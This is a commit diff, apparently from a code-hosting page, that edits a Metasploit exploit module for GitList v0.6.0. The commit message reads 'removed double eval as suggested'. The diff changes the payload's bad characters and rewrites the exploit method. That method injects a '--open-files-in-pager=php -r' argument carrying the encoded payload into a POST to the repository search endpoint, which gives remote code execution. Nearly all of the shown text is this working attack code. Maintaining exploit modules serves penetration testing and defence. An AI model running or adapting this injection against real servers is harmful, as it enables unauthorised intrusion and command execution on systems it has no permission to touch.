removed double eval as suggested
parent
af3d2045fb
commit
f5e40b14a3
|
@ -34,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
[ 'GitList v0.6.0', { } ]
|
[ 'GitList v0.6.0', { } ]
|
||||||
],
|
],
|
||||||
'Privileged' => false,
|
'Privileged' => false,
|
||||||
'Payload' => { 'BadChars' => '\'"' },
|
'Payload' => { 'BadChars' => '\'' },
|
||||||
'DisclosureDate' => "Apr 26 2018",
|
'DisclosureDate' => "Apr 26 2018",
|
||||||
'DefaultTarget' => 0))
|
'DefaultTarget' => 0))
|
||||||
end
|
end
|
||||||
|
@ -55,9 +55,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
postUri = normalize_uri(target_uri.path, '/gitlist/tree/c/search')
|
postUri = normalize_uri(target_uri.path, '/gitlist/tree/c/search')
|
||||||
cmd = '--open-files-in-pager=php -r "eval(\\"'
|
cmd = '--open-files-in-pager=php -r "'
|
||||||
cmd << payload.encoded
|
cmd << payload.encoded
|
||||||
cmd << '\\");"'
|
cmd << ';"'
|
||||||
send_request_cgi(
|
send_request_cgi(
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => postUri,
|
'uri' => postUri,
|
||||||
|
|
Loading…
Reference in New Issue